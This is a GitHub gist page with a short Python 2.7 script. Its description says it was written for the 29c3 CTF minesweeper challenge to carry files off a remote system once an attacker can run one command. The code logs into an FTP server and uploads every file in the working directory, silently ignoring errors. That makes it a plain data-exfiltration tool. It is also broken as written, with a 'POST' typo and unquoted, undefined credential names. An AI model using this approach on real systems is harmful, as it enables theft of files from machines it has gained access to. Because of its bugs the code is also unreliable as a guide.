Last active
December 12, 2015 08:09
-
-
Save moshekaplan/4742072 to your computer and use it in GitHub Desktop.
This python (2.7) script uploads all of the files in the working directory to a remote FTP server. It's meant to be used for removing files from a remote system once you have the ability to execute a single command.
This was written for 29c3 ctf's minesweeper challenge.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
# Uploads every file in the directory to the specified FTP server | |
import os | |
import os.path | |
from ftplib import FTP | |
HOST = "127.0.0.1" | |
PORT = 21 | |
USER = username | |
PASS = password | |
# Connect and authenticate to the FTP server | |
ftp = FTP() | |
ftp.connect(HOST, POST) | |
ftp.login(username, password) | |
for fname in os.listdir('.'): | |
if os.path.isfile(fname): | |
try: | |
fh = open(fname, 'rb') | |
ftp.storbinary("STOR "+ fname, fh) | |
except: | |
pass | |
ftp.quit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment